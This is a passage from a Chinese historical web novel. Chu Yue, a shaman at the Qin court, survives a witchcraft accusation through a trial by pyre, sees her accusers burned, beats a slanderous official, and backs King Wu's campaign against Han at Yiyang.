“知而不言,知而不改,其心如何,昭然若揭,公子华之死,当真和她没有半分关系吗?我父王英明神武,怎会忽然病重?国内能挟此妖术害人的,除了神通广大的阴君?还能有谁?” 嬴壮一番话,将众人的猜忌勾起,他们齐齐望向楚越,等着楚越的解释。 楚越望着面前这群衣冠楚楚,正襟危坐的所谓君子,只觉得可笑。 “我若是说我不知,就是我无能。我若是说我知道,就是知而不改,蓄意谋害,是吗?那今日这不是审我,而是要定我的罪。” 鬼神之事本就是虚无缥缈,有些人相信,有些人怀疑,谎言总有被戳穿的一日,反噬,在她到达最辉煌的高处时,也升到了巅峰。 她陷入了无法解释的陷阱之中。 “证据确凿,我劝阴君还是尽早认罪。”嬴壮斥道。 “我无罪,公子华之死,与我毫无干系。” “你有什么证据?” “有!”堂外忽然传来阵女声,婼欲入内,却被虎贲阻拦,楚越看向守卫,嬴壮也看向了守卫,示意他们阻止。 嬴轩见状,起身上前,生生将虎贲的手臂按下,婼这才得以入内。 “有证据,公子华有书信,能证明。” 帛书上的血迹已经干涸,颜色发暗,仔细辨认,发现上面写着一句话:“嬴华一生,不负秦国,不负王上,唯负吾妻。” 楚越别过头,不忍再看。 清点嬴华遗物之际,楚越在他怀中找到了这份帛书,起初,她并不知道这份帛书的作用,现在,一切明了。 她深吸口气,压下心头泪意,将怒火对准嬴壮。 “嬴华一心为国,我如何能拦?他愿意为了秦国献出性命,而我,愿意为了秦国献出丈夫,可是这一切,却被你!”楚越冷笑,抬手指向嬴壮,“当做杀夫的借口。” 嬴壮大惊失色,他显然没想到,嬴华还留了一份这样的书信,如此一来,不仅无法指证楚越,还让她占据了上风。 一个明知会死却依旧甘愿为国赴死的公子,尸骨未寒,他的孀妻便遭到众人围攻,一个明知丈夫会死,却依旧放手,心怀家国的女君子,遭到旁人无端猜忌,甚至指摘。 “嬴华的确因我而死,我没能阻止他,那你们杀了我吧!” 长辈中当即有人起身,斥责众人,“你们太过分了!” 老妇白发苍苍,拄着拐杖,她一站起来,其他老头也纷纷站起,陪审团的嬴氏子弟也随之站起,可见这老妇辈分、地位之高。 “我以为是什么事,壮公子一定要请老妇来,结果竟然是一群人欺负一个寡妇,这算什么本事?嬴氏的子弟,真是一个比一个出息了!” 老妇冷哼一声,拄着拐杖拂袖而去。 嬴壮不死心,“这只能证明,你和公子华的死无关,可是大王呢?你敢说你没有巫蛊诅咒大王,就是因为你,挟妖术害王,才使得我王抱病。” “一份证词,就能说明是我所为吗?分明是有人蓄意栽赃,挑拨离间。” 巫蛊之术,历朝历代所忌讳,且一旦发生,牵连甚广,汉武帝时,巫蛊坐连万人。 一老翁稍微踌躇,也知此事重大,“壮公子,一面之词,怕是不能轻信,阴君所言,不无道理。” 其他人也纷纷点头,嬴操看向公孙奭,公孙奭还在犹豫。 “兄长!” 嬴缃挺着大肚子,步履艰难,从殿外走入,公孙奭见状,顿时倒吸一口凉气,“子缃!” “长兄,我都听见了,叔祖说得对,这都是一面之词,不可信!” 嬴轩也附和道:“对呀。” 两个中年人眼中全然无奈,只得道:“是,证据的确不足。” 嬴壮的证据不足,法官与陪审团一时都无法做出判决,只能先让楚越回家,嬴壮作为控方,再搜寻证据。 “死小子,想在王上跟前露脸,居然用这么无耻的手段。”嬴缃骂道。 显然,她将嬴壮的所作所为,视作急于立功的冒进,楚越没有说话,只是在思索着什么。 嬴轩劝道:“好了,别生气了,都要当母亲的人了,温柔点吧。” 楚越猛然回神,想起嬴缃还身怀有孕,当即道:“子缃,你不要乱跑,这边的事情,我自己能处理,你安心待在家中,平安将孩子生下来。” “天天待在家里,都闷死了。”嬴缃抱怨道。 “魏冉呢?”嬴轩问道。 一提起魏冉,嬴缃更委屈,“他忙得很呢,天天不着家。” 嬴轩蹙眉,“你先回去,我打听一下。” “还是你送她回去吧。”楚越道,嬴轩觉得有理,点了点头,三人就此分手。 楚越忧心忡忡,并没有因为一时挫败嬴壮而感到轻松,她想着想着,眸光陡然一紧,“走,入宫。” 说完,楚越往前走去,她往前走了两步,婼才跟上来,楚越看了她一眼,顺着她视线收回的方向望去,是嬴缃还有魏冉,他们夫妇携手,恰似一对璧人。 婼什么也没说,楚越垂眸,也没有问。 楚越拜见了王后,旁敲侧击询问秦王的身体状况,王后也正为此忧心,嬴驷的身体,已经一日不如一日。 不再是楚越入秦时那个精神抖擞的青年,二十年白驹过隙,当日的年轻君王,已经步入人生之暮,生命之火暗淡,即将熄灭。 这个时代的人口平均年龄不高,嬴驷十九岁继位,他的父亲孝公,就是在四十多岁的时候,驾鹤西去,现在,他也四十多岁了。 据王后所说,嬴驷有时会犯糊涂,想来也正是因为如此,才会让嬴壮钻了空子。对于嬴壮的事情,王后只是冷笑声,“你莫怕,有小童和荡儿在呢,他,哼!” “听说王上要派相国出使燕国。”楚越问道。 “是。” 楚越的心猛然沉 下去,一股不好的念头,浮了起来,嬴疾、魏章远在蓝田,张仪出使,一切看似正常,可嬴壮的所作所为,已经激起了她的怀疑。 如果没有嬴华那封遗书,等着她的会是什么呢? 要么跌落神坛,要么身染杀夫之罪。 嬴壮做这些,是为了什么? 谁是这一切的始作俑者? 楚越心中隐隐有了一个答案,却不愿意面对。 流言一夜之间,传遍咸阳城大街小巷,一群从巴蜀之地赶来的巫师声称秦国的阴君楚越,是个彻头彻尾的骗子。她不是巫咸的后人,而是作祟人间的邪鬼。 他们说,秦王一病不起,是因为楚越挟妖术诅咒所制,巫师们为秦王献上解咒之法,翌日,抱病已久的秦王,便神清气爽出现在朝堂之上。 秦国的巫祝见状,纷纷顺着巫师的话进言,请求处死邪鬼楚越。 楚越当然不会坐以待毙,门客们在咸阳城中发动曾经受她恩惠的百姓,诙则积极联络从前的战友,婼入宫,向王后求救。 一时之间,请求处死她的,和为她求情的两派人,在秦国朝堂互喷口水,他们在朝堂上引经据典,争得面红耳赤,出了大殿,相互亲切问候对方亲属,骂的酣畅淋漓。 无数士卒、百姓,自发走上咸阳街头,走到王宫之前,为楚越申辩,她俨然成了被诬陷的贤臣,而那些诬陷她的人,则成了小人。 迫于国人压力,嬴驷不得不给了楚越辩驳的机会,亲自在朝堂,召见了她。 楚越敛踞,庄重肃拜,“大王,臣不曾以巫蛊之术,诅咒大王,他们的指证,纯属子虚乌有。” “你有什么证据?” 楚越抬眸,偷偷望向嬴驷,他虽然竭力端坐王座上,却依旧难掩脸上病态,巴蜀的巫师,也没有治好他的病,那些不好的猜测,全化作了现实,沉沉压在楚越心头,她再度深拜下去。 “巫咸乃群巫之长,臣愿在蕲年宫前起一祭台,三日之内,若天神不显灵,证明臣的清白,臣便自烧其身,以偿罪责。” 朝堂上所有声音,都被她这番话压了下来。 秦王十分意外,“此话当真?” “绝无半句虚言。” 丈高的祭坛,很快在蕲年宫前搭建起来,与其说是祭坛,不如说是柴草堆,大捆木柴摆放在祭台之下,等着被火焰点燃。 这座简陋的祭坛,引来了大量围观者。 巫咸是巫之祖。 一位自称巫咸后人的巫,在庄重的神庙前,搭起祭坛,向先祖祷告,以生死,证明清白。无论是她的身份,还是她的举措,都令秦国上下,乃至于列国的巫师侧目。 被发跣足,是为罪人,楚越缟素,跪于祭台之下。 “后嗣楚越,敢告于先祖丕显大神巫咸,今群巫蔑道,欲刑加我身,论辩无门,敢求于先祖,为我正名。“ 第67章 又是被白起抓到的一天小器阴君,在线…… 天渐渐暗了下来,漫天大雨,哗哗落下,将祭坛下的柴草全部打湿,楚越从麻席上站了起来,所有人的视线全集中在她身上。 她在无数道震惊、恐惧与意外的目光中,镇定自若的,一步一步往祭台上走去。 所有人的呼吸都仿佛被遏住,她却似闲庭散步,提着裙角步上高台,在围观官员、军士、百姓的仰视下,张开双臂,原本戴罪的素衣,此刻圣洁得不染一丝尘埃。 “先祖保佑!” 她指向台下围观的巫师、宗祝,目光尖锐,大骂道:“请大神,为我惩之。” 忽的一声惊雷,劈在祭坛后的旗杆,将原本矗立的木杆,劈得四分五裂,木屑乱飞,围观之人,无不抱头躲避,巫师与宗祝们,也被这动静吓得浑身一颤,无不面露惧色。 门客们见状,在人群中大喊,“天神显灵。” 围观的百姓闻声,以为真是天神显灵,纷纷下跪,就连那些指责楚越为邪鬼的人,也诚惶诚恐的拜了下去。 楚越站在雨中,身边全是下跪的百姓,她望着漫天大雨,笑出声来,“哈哈哈。” 她笑着笑着,却跪倒在泥泞之中,温热的泪水,与雨水混合。 梦中的大雨得到验证,原来那不是梦,而是真实发生,她的确是姬荷。 可现在已经没有时间去想那些已经归于尘土的往事,她望着祭坛下乌泱泱跪着的人群,心却仿佛被什么重物压住,呼吸也随之变得有些艰难。 “王上” 楚越不明白,为什么秦王要置她于死地,这个曾经无比信任她的君王,欣赏她、擢升她、提拔她的君王,为什么要这么对她? 她想不明白。或者说道理太过简单,一朝天子一朝臣,前任的君王死前,要为后任君王铲除掉威胁。 这样简陋的理由,无法成为劝服楚越的理由。 都说君要臣死,臣不得不死,但那是给古人听的话,楚越要活下去。 历史上惠文王的死期,就在这几日了,她之所以不断拖延,等的不仅仅是记忆中这场大雨,也等着咸阳城中君王的死讯传来。 秦人作《黄鸟》缅怀贤臣,楚越不想别人在自己坟前唱这首破曲子。 她要活下去。 雨越下越大,门客们先后奔上祭坛,为楚越撑伞,辛将一件衣服披在楚越身上,诙几人在前,分开人群,一众人护卫着楚越匆匆离去。 一场大雨,让人心倒向楚越,秦王的使者,很快到来。 白起带来了两个消息,一是秦王已经驾崩,太子荡嗣位为新王,二是新王已经得知雍城之事。 秦国的母后,已经戴上丈夫谥号的惠文后,找到了新王,以母后的身份,让他下令将楚越接回来,并狠狠惩治那些妖言惑众的巫师。 新继任的君王顺应母后之命与百姓之请,为受冤的阴君楚越翻案,惩处污蔑她的阴险小人,新王说: “既然司巫已经起祭台,就让他们也起一台,看巫咸大神如何作答。” 雨后的平原上,几座简陋的祭坛拔地而起,白起拔剑,冷视眼前巫师,“请吧。” 在秦剑秦戈的威逼下,那些巫师,被迫登上祭台,一连三日,天气晴朗,烈火熊熊,夹杂着人类的哀嚎,被穿过平原的风,吹向远方。 列国群巫听闻此事,无不震动。 巫咸,真的显灵了?! 白起来到馆驿,告知楚越巫师均被烧死一事,并奉命护送她回咸阳,楚越靠在床边,低头不语,两行清泪顺着她的脸颊滑过,她不时抬袖,擦拭眼泪。 “别哭了。”白起看不下去了,安慰道:“新王已经还你清白了。” “我本来就没有罪,这是欲加之罪。”楚越倔强道。 “朝中的魏人已经很多了,惠文后、武信君、庶长章”他话出口,又觉得自己这些话不合时宜,声音渐渐低了下去。 “贬我,再由新王为我洗去冤屈,让我甘心为效力,你想这么说是吗?白起,什么时候,你也开始在我面前吞吞吐吐了。”楚越冷笑声,“可是谁又能保证,先王不是真要杀我呢?” 君王权术,精髓就在一个莫测。 “先王已经到泉下去了,你只能等百年之后,再去问他,新王让我护送你回咸阳,走吧。珠珠他们还在家里等你。” 虎贲在前开路,门客们跟在车驾之后,浩浩荡荡一行人,返回咸阳。 咸阳城中一片肃穆,张仪着素服,在城门前迎接楚越,他出使归来,还未来得及向秦王汇报出使结果,行至半路,秦王便离世。 得知自己离去之后,针对楚越的构陷不仅没有停止,反而愈演愈烈,张仪似有所感,“看来秦国朝堂,是没有我张仪的位置了。” 他叹口气,看的很开,“庄子说,安时而处顺,我深以为然。只是可惜我的合纵大计,不甘啊。” “事到如今,多说无益。你是秦妇,又是公子华的遗孀,惠文后毕竟是母后,公孙和也尚且年幼,想来大王和宗室都不会为难你。”张仪安慰楚越道:“暂时蛰伏, 静待时机吧,你还年轻,不似我,黄土都要埋到脖子了。” 张仪也先王一般年纪,先王去了,张仪的寿命也快走到尽头,史书记载,他是在惠文王继位的次年,卒于魏国。 楚越看着面前的中年人,在她眼中,张仪其实还很年轻。 “我记得我第一次见到相国,相国正当壮年,而立之龄,便居一国相位,手握大权,君王信赖,臣工俯首,列国瞩目,唇齿之间,搅动天下风云,只言片语,敌得过千军万马。” 张仪开怀大笑,他第一次没有谦虚的拒绝,而是开怀接受了这些赞赏。 “我第一次见到阴君,君上还是个小孩子,跟在公子华身后,聪明而伶俐。只是,后来不知道发生了什么,总是忧心忡忡,像是忧天的杞人。君上异于常人,的确不该以常人目光视之,能与阴君这般奇女子为盟,实在大幸。” 张仪起身,朝楚越拜了下去,楚越也站了起来,朝张仪还礼,“能与相国相识,为盟,实在人生大幸。” 一朝天子一朝臣,张仪不被重用,联盟也就因此瓦解,大家各奔前程去。 嬴荡继位不久,巴蜀便传来不好的消息,原来是蜀王趁秦国王位交替之际,准备造反,驻守在蜀国的蜀相陈庄,杀了蜀侯。武王大怒,派甘茂征讨陈庄。 新君的朝堂上,似乎并没有楚越的一席之地,新王不似惠文王,嬴荡对她说的最多的,是让她放下政务,多陪伴孩子和惠文后。丞相武信君张仪,也一点点被架空,肉眼可见的,失去了新王的信任。 平定巴蜀之后,武王下令驱逐了魏章,这位战功赫赫,为秦国立下汗马功劳的魏国公子,被迫离秦,回到了母国。明眼人都看得出来,曾经在秦国显赫一时的魏系,此刻正摇摇欲坠,曾经和张仪有嫌隙,或者想踩着他上位的人,立刻趁他虚弱,站出来要他的命。 竹简几十斤几十斤的往宫中运,全是说张仪坏话的,也有几封,弹劾楚越,她与白起的旧情,又被翻上了台面。 奏章的内容传到了楚越手中,她烦躁的丢开,诙见状,捡起帛书,打开看了一眼,他的眼珠转了下,“君上还记得当年在军中吗?” 楚越抬眸,“嗯?” “君上痛殴臣下的时候,可觉得解气?”诙问道。 楚越想起往事,忽然笑了下,“那是自然。” 何止是解气,简直是爽到家了。 “那君上还想再解解气吗?”诙问道。 “本君身为列候,做此等事,恐怕有失身份,这样,你去找两块黑布,我把脸蒙起来。” 说楚越坏话的是公孙竭,秦国宗室,因是公孙之后,便以公孙为氏。 公孙竭的马车行到无人处,忽然有人窜出来,朝他丢石头,丢完就跑,随从立刻去追,只留下公孙竭和另一个随从在原地,诙和另外一个门客的动作很麻利,几招便放倒了那个随从。 蒙着黑布的楚越从暗中走出来,一行人步步逼近公孙竭。 公孙竭的惨叫引来巡逻的秦军,楚越带着门客们拔腿就跑,对方紧追不舍,白起追了一段距离,见那人背影熟悉,当即抬手,制止了属下继续去拽。 楚越往前跑了一段距离,见甩掉了追兵,开心的扯掉了脸上的黑巾。 上书弹劾是公孙竭的自由,打击报复是她的自由,他若是弹劾些朝政大事也就罢了,盯着自己的隐私看是什么事? 心情一时畅快,楚越甩着手上的黑巾,开心朝前走去,街巷的尽头,忽然被一道高大的身影挡住,白起一身玄甲,站在出口处,他一手按在腰间剑上,另一手搭在按剑的手背上,望着楚越。 “阴君要往哪里去?秦法禁止私斗。” “什么私斗,这是我单方面殴打他。” 白起面色有些为难,远远的,他就认出了那道逃跑的背影,“你打他做什么?” “你要告诉大王这件事吗?”楚越不解释,只是一味逼问道。 “你今日打了公孙竭,明日必定有人借题发挥,你这么做,想过后果吗?你的门客也不知劝谏吗?”说完,白起的视线落到了楚越身后的诙身上。 法不责君,君没干好,都是臣子没有劝谏到位。 “那我都把脸遮起来了,他怎么知道是我,现在只有你知道。”楚越抬起下巴,望向白起,“你要告诉大王吗?今天是我打了公孙竭。” 第68章 重归朝堂白起不语,一味毒打公孙竭 白起一言不发,他之所以只身前来,就是不想让人知道此事系楚越所为。 虽然不知道楚越为何意气用事,光天化日之下对公孙竭大打出手,但白起也能猜到一二,这一定和现在朝堂上攻击武信君张仪的大势有关。 略微踌躇,白起侧身,让开一线,“你们走吧。” “那你要如何向王上交代此事?” “没抓到行凶者,自然是白起失职。” 楚越点点头,对身后诙与门客们道:“走。” 街巷狭窄,楚越经过白起身边时,衣袖擦着他冰冷的铠甲而过,手背汗毛微微颤动,似在提醒她,两人近在咫尺。 楚越大摇大摆折返方才伏击公孙竭的地方,此时已经有很多人围了上来,对着鼻青脸肿的公孙竭指指点点,她不由奚落道:“公孙为何如此狼狈啊?” 公孙竭满脸是血,被随从搀扶,他认出了楚越,又见对方堂而皇之落尽下石,气得话都说不利索了:“你……你!” “我?”楚越指着自己,装作无辜的模样,“本君怎么了?本君恰好路过啊。” 难怪杀人凶手都喜欢返回作案现场。 楚越看着公孙竭,似乎悟到了一些什么。 “你挟私报复,一定是你记恨我向大王弹劾你与白起有私情,所以派人暗中殴打我!” 公孙竭此话一出,楚越方才还布满笑意的脸,霎时沉了下去,她冷冷扫了公孙竭一眼,“你说什么?” “你弹劾我?” “你污蔑我!” 她的声音很大,足够让附近围观的百姓都听清。 诙见状,立刻骂道:“大胆,敢污蔑我们君上!” “打!”楚越言简意赅。 白起刚与属下回合,又听见身后传来公孙竭凄厉的叫声,匆匆赶过去一看,发现楚越居然众目睽睽之下,堂而皇之、没有任何遮掩的,命手下门客殴打公孙竭。 “住手!” 白起唯恐公孙竭被打出个好歹,立刻制止了楚越,门客见是白起,也纷纷停手。 他扶起公孙竭,公孙竭吐掉嘴中血水,“阴君,你如此对我,我绝不会善罢甘休!我要到大王面前告你!” 闻言,楚越的脸色更难看起来,什么小学生招数,我要告老师?! 白起恨不得捂住这人的嘴,“别说了!” “你去啊!你最好把今日的事情一五一十告诉大王,你要是不敢说,本君去说,你是如何在众目睽睽下,侮辱本君。本君不杀你,已经是开恩,你竟还敢大言不惭,说与本君不罢休。” 公孙竭也反应过来,自己失言在先。 他弹劾楚越的内容,按理只有秦王和他知道,可这位阴君,执掌秦国机密多年,且与宫中关系紧密,知道自己被弹劾,也是有可能的。 但这只是可能。 自己先说出口,便先授人以柄,反而给了对方借口。 公孙竭悔啊!他实在是被楚越的嚣张气焰激怒了,一时之下,口不择言。 现在知道,也于事无补,楚越的脸色很难看,她身后门客,各个眼带杀气,公孙竭不由打了个寒战。 他一把抓住白起,“将军,带我去见大王。” 楚越冷笑声,对白起道:“这人自己说的,向大王弹劾我与你有私情。” 她看着白起的眼睛,目光镇定,没有一丝波澜,白起漆黑的眼睛转了下,似乎明白了什么。 他搀扶着公孙竭的手,慢慢松开了。 “你竟然构陷我,污蔑我?!” 公孙竭面如土灰。 魏冉和嬴壮几乎是同时赶来,才救下被殴打了三次的公孙竭。 楚越一头扎进惠文后怀中,便开始诉苦,惠文后一听,当即大怒,要派人杀了公孙竭。 嬴荡姗姗来迟,惠文后盛怒之下,连他都骂,骂着骂着,她的眼眶红了,哽咽道: “我知道大王要政由己出,不想受我们这些魏人摆布,既然如此,大王将我这老妇也赶走吧,免得让我在这秦宫受气。” 惠文后什么都清楚。 她知道先王在做什么,也知道自己的儿子在做什么。隐忍不发,是因为赞同。 可她总会是委屈的。 魏国是她的母国,她在秦宫艰难苦熬二十年生下养大的儿子,要遏制她魏人在秦国的势力。 “大王何苦要这么逼子越,她的丈夫死了,儿子年幼,那公孙竭是什么东西,也敢指着她,骂她与人有私,侮辱她的名节。大王不为她主持公道,严惩这些人也就罢了,她自己为自己正名,怎么就有错了!” 嬴荡不敢作答,只能 连连称是。 “阴君既然已经痛殴了公孙竭一顿,报了仇,那便一笔勾销了吧。寡人也不再追究她与白起,闹市滋事,殴打大臣。不知母后以为?” “这样的人,还留他在秦国做什么!” 楚越见好就收,劝惠文后道:“此事我也有错在先,打也打了,气也出了,大王身边,还是要这样敢于谏言的大臣,若都畏畏缩缩,反而不利大王,不利秦国。” 嬴荡要是向着她,就不用她自己动手收拾他了。 虽然对自己不利,但为王者,还是很喜欢这样不畏强权,直言上谏的大臣。 所以嬴荡才会说出一笔勾销,既往不咎这样的话保他,和一和稀泥,两边都保。 既然如此,不如自己退一步,还能博得一个宽容大度的美名。 啊。多宽松仁慈、知理明事的阴君! 惠文后也觉得有理,松了口,“既然子越说算了,那便罢了。” 嬴荡做主,让楚越象征性赔点医药费,便罢了,楚越一听要赔钱,又不乐意了。 “寡人出钱行了吧。” “反正我不出钱。” 出了公孙竭这事,惠文后担心楚越,常让她带着两个孩子入宫,和自己与王后作伴,嬴荡的王后也是魏国公主,年纪不大,十五六岁,和惠文后一样,是端庄温柔那一款美女。魏系失势,但也没有完全失势。 毕竟,嬴荡也不能剖开自己的血管,将属于魏人那一半血放出来,更不能对自己的亲妈不孝。 嬴随与嬴和一日一日长大,姐弟二人每天在家中上演全武行,珠珠虽然年长嬴和四岁,但也只是个六岁的孩子,心智不健全,根本不会让着弟弟,嬴和虽然才两岁,调皮的劲头却并不输他姐。 打吧打吧。楚越想。 狠狠地打,打出大小王就安静了。 嬴和到底没打赢珠珠,家里便变得和睦起来,嬴随跟个狗腿子一样,卑己事姐。 魏章离秦,秦庭上下讨伐张仪的声音愈发鼎沸,这样的事情,从前也常见,但与以往不同的是,大王的态度却模糊,没有如惠文王朝时,斥责、驱逐那些上书的人。 没有态度,有时候也是一种态度。 张仪也意识到了,自己此时不走,怕就再没有离开的机会,毕竟商鞅的例子,还摆在眼前,但他又实在放不下连横东出的计策,于是咬咬牙,再度在朝堂上提起了自己从前在惠文王面前提过的,却未被采纳的东出之策。 “臣愿往魏国,为王上盟魏。” 东出王业,嬴荡心动了。 张仪向嬴荡请辞,归魏,力促秦魏盟好,为秦国攻打韩国,争取盟友,避免韩魏联手。 嬴荡原本就不想留他,几番挽留之后,欣然同意了张仪辞官,张仪归魏为相,力主秦魏结盟。 相国之位空了出来,就在所有人都猜测,谁会是秦国下一任相国之时,嬴荡却下旨,废除了相国之位,而设立左右丞相。 丞者,辅佐也。 丞相,是相国的副手,分设两位丞相,意在相互牵制。 平定巴蜀之乱的甘茂,被擢升为左丞相,公叔嬴疾为右丞相,与此同时,他还任用楚人向寿,以及魏冉、白起等人,初步掌握秦国大权。 张仪挟秦国之威,回到魏国为相,他积极促成秦魏联盟,但他毕竟年纪大了,回到魏国的次年便去世,魏王听从他的遗愿,与秦交好,会秦王嬴荡与临晋,双方就韩国问题,达成了统一的意见。 魏王表示,一起出兵可以,但打了韩国,就不许打我了哦! 朝堂上越来热闹,就显得楚越的府邸越清净,梦寐以求的养老生活到了眼前,她却不知怎么静不下来,有时一觉睡醒,躺在床上百无聊赖,竟然也有些怀念从前忙碌的日子。 真是牛马味腌透,好日子过多了。 楚越摇头,将那些思绪甩出脑海。 婼敲了敲门,低声道:“阴君,大王来了。” 前厅中,嬴荡一手抱了珠珠,另一手笑着捏了捏嬴和的脸,珠珠搂住嬴荡的脖子,小声在他耳边说着些什么,嬴荡认真听完,点点头,“好,寡人带你去。” “你们说什么呢?”楚越有些好奇。 她走到嬴荡跟前,屈膝向他行礼,“大王。” “自家人,不必多礼。” 嬴荡笑着看向珠珠,“方才妹妹说,她昨晚梦见寡人带她去抓兔子。” “大王朝政繁忙,稚童玩笑,不必在意。” “春蒐将至,珠珠说的也没错。” 楚越无奈看了眼嬴荡怀中的珠珠,“大王请上座。” 嬴荡从王宫过来,肯定不仅仅是只为了看看珠珠这么简单。 果不其然,一大箱金银珠宝,被抬到楚越的面前,嬴荡笑笑,“寡人与张子之谋,姊姊也知道,要入三川,挟持周天子,成就王业,就必须要攻打韩国,若是攻打韩国,公叔疾难免劝谏寡人,他是韩女所生,是先王的兄弟,寡人的叔父,他劝谏,寡人不能不听。” 楚越蹙眉,眼睛虚眯,她听明白了,嬴荡是想让自己站出来,和嬴疾打擂台,给他的东出王业,摇旗助威。 “公子疾是大王的叔父,为秦国立下汗马功劳,功封严君,又是秦国的丞相,他必然会以秦国为先,不会徇私的。” 提议攻打韩国,是一件很得罪嬴疾的事情,他的母亲是韩国公主,韩国,是他在秦国没有出路时的备胎国家,如若秦灭韩,或者重创韩国,对嬴疾而言,是件损失。 他是王叔,又是丞相,战功赫赫,手握重兵,秦国朝堂,举目望去,谁都不敢先站出来,提出此事,唯恐将来遭到嬴疾报复。 别人都不敢干的事,她就敢吗? 死孩子,尽坑人。 “公叔或许不会徇私,但韩人在秦为官的不在少数,就怕公叔不好应对他们,他毕竟是韩女之子,秦国重,母国也不轻,有些话不得不说。” 楚越点点头,心想这也未尝不是个返回朝堂的好机会。 “天下岂有贿赂臣子的君王?而且这些也不够啊。” 干这么得罪人的活,得加钱。 嬴荡听出楚越话中余地,当即道:“那寡人再送姊姊一份大礼如何,公叔离世已经两年有余,姊姊还年轻,若是此番白起能立下功绩,寡人便做一次姊姊的主,将你嫁给他。” “你做我的主?”楚越竖眉,“你怎么做我的主,我可是长辈。” 嬴荡一笑,不甘示弱道:“我可是秦王。” 楚越叹口气,“好吧,大王。” 她连夜召集属吏与门客,对他们道:“楚国攻秦之际,韩国分明可以从楚军背后偷袭,却没有,以至于我夫战死,此仇,我母子誓报。” 属吏面面相觑,有人立刻劝道:“阴君,此事是否要从长计议。严君嬴疾,其母乃韩国公主,贸然提议攻韩,是否会” 楚越的态度坚决,“不,王上有意攻韩,却碍于王叔嬴疾,此时不为君王分忧,更待何时?” 门客们异口同声道:“愿为阴君效死。” 一切准备妥当,次日嬴荡便召集宗室、重臣,向他们提及攻韩,众人面面相觑,这时,楚越站了出来,先开口道: “攻韩,入三川,收周室户籍、人口,挟天子入咸阳,号令诸侯,此乃先王未成之业,是我秦国大展宏图之必由之路,臣在宗庙占卜,攻韩大吉,神灵先祖,必将庇佑秦国。” 第69章 宜阳秦攻宜阳,斩首六万 楚越第一个站出来,部分观望的臣子才肯发声,陈述攻韩之利,嬴疾劝了两句,说新王登基没多久,根基尚浅,且秦韩结盟已久,贸然攻打韩国,会让它倒向齐国。 他一言既出,楚越身后的属吏便站出来质问,没给韩人组织语言的机会,“丞相究竟是秦人,还是韩人?” “大胆。”楚越假装呵斥属吏,“丞相当然是秦人,他是秦国的公子,怎会不为秦国着想。” 嬴疾被这句话堵住了。 再辩驳下去,恐落人口实,他只得置身事外,眼睁睁看着攻韩的战略敲定,嬴荡派甘茂为将,向寿同行。魏冉与白起也在甘茂麾下,听凭调遣。 韩国得知秦国大军压境,派遣丞相公仲侈率二十万大军前来支援。 宜阳,是韩国的开国之都,韩哀侯时才东迁往新郑,它是一座非常重要的战略要地,既有铁矿,又占据地势之利,是韩国防御秦国的重要屏障。 宜阳破,秦军便可威胁东边的新郑,这就注定在宜阳问题上,韩国不可能有丝毫退步, 秦国要东出,必须控制崤函通道,宜阳是必经之路,秦国也不会退缩。 双方围绕宜阳,展开数次大战,秦军屡屡进攻,却不得胜利,韩军抵抗坚决,双方都死伤惨重。甘茂久攻不下,朝中反对的声音渐渐响起,嬴荡久久看不到胜利,心中也有些忐忑。 战败对政治家而言是致命的,尤其在秦国这么一个重视军功的国家,一个国君刚一上台,就打一个败仗,先不说败仗之后,造成的连锁的邦交问题,就单从战败这一件事出发,嬴荡的威严将扫地。 嬴疾正是从王位稳固的角度,劝嬴荡退兵。 若是趁着此时,秦国与韩国尚未分出成败,便行退兵,虽然白白耗费粮草,损兵折将,但好过大败。但另一边,是甘茂的信,他询问嬴荡,是否还记得出征时和他的盟约。 出兵之前,甘茂就和嬴荡分析过战争局势,这一定是一场硬仗,嬴荡必须坚定作战的信念,秦国才有胜利的机会,君臣二人在息壤之地盟誓,无论秦国国内出现任何反对的声音,嬴荡都不要理会。 刚愎自用的暴君,和英明神武的君王,只在一念之间,嬴荡不知该如何抉择,一时陷入了进退两难的局面。 走投无路之下,他和他的父亲一样,找到了楚越,楚越也正在天启阁中等着他。 她向这位和他父亲一样,年纪轻轻便掌握一国大权,面对错综复杂的国际形势与国内关系,同时心怀远大理想的年轻君王张开了手臂,温声为强压之下快要负荷不住的嬴荡打了一针镇定剂。 “大吉,秦军必胜。” 惠文王也好,嬴荡也罢,他们是看不到未来的,因此忐忑不安。 嬴荡肉眼可见的动摇,“此言当真?” “臣愿前往宜阳,若此战不胜,臣以死谢罪。” 去往宜阳的路上,楚越似乎想通了为何惠文王要置她于死地,他和嬴荡虽为君王,却有局限性,他们站在现在,前途在一片浓雾之中,这个时候,如果有一个人,朝他们伸出手,告诉他们答案。 或许最初,这对他们而言,也许是拨开迷雾的清风,可是久了,浓雾中伸出的手,总会沾染控制的影子,是他们选择了这个方向,还是这只手仗着浓雾,拖拽着他们往这个方向而去呢? 一位君王,怎么能接受自己被人控制。 楚越来到前线,见到了魏冉,魏冉告诉她,白起受了伤,攻城之际,被流矢所伤,伤的很严重。 安置伤员的营帐早人满为患,秦军攻城伤亡很大,而且这个数据随着战争的继续,还在与日俱增,若非如此,嬴荡也不会如此忐忑。魏冉在前带路,两人穿梭在营帐之间,浓厚的血腥味萦绕在楚越鼻尖,经久不散,惨叫、呻///吟声,在耳边回荡。 车辙声辚辚,载着数具薄棺,占据狭窄的道路,魏冉与楚越侧身,避过车驾。 掀开营帐,内中伤者约有五六人,见有人来,纷纷朝门口方向看来。 “阴君。”有人认出了楚越,强撑着想要起身,楚越连忙抬手制止,“不要起来,躺下。” 帐中伤员,好几人楚越都认识,是她十五岁时在军中的同袍,十年过去,昔年小卒,已经陆续成长为秦军基层中流砥柱。据魏冉说,他们奉命攻城,损失惨重,久攻不下,不止朝中怀疑,军心也日渐动摇。 “大王知道你们在前线辛劳,特派我前来慰问,你们的功绩,大王都看在眼中,待到攻克宜阳,兵出两周,秦国王业大成,你们都是社稷的功臣。” 楚越话音刚落,门客们便陆续带着肉食入内,分给帐中伤员。 众人在病榻上俯身,“多谢大王,多谢阴君。” 安抚完众人,楚越接过一份门客手中的肉干,往里走去,白起的脸颊苍白,显得一双眼睛愈发深邃,他望着楚越,开口道:“多谢君上。” 有方士入内为伤员换药,楚越回头,看了一眼方士,又看向魏冉,魏冉会意垂眸,楚越站起身,没过多久,方士便搀扶白起出了营帐,进入何必一间帐篷,楚越正欲上前,却被诙阻拦。 “君上不可。” 楚越看了诙一眼,“让开。” 诙叹口气,“还请君上早些出来。” 楚越一掀开帐帘,白起的背影便映入眼帘,他觉察到身后来人,缓缓转了过来,他望着楚越,严肃而锐利的眼神似乎要洞穿一切,楚越什么也没说,只是自顾自走到桌案前坐下。 白起在原地短暂踌躇,也捂着伤口上前,在她对面坐下。 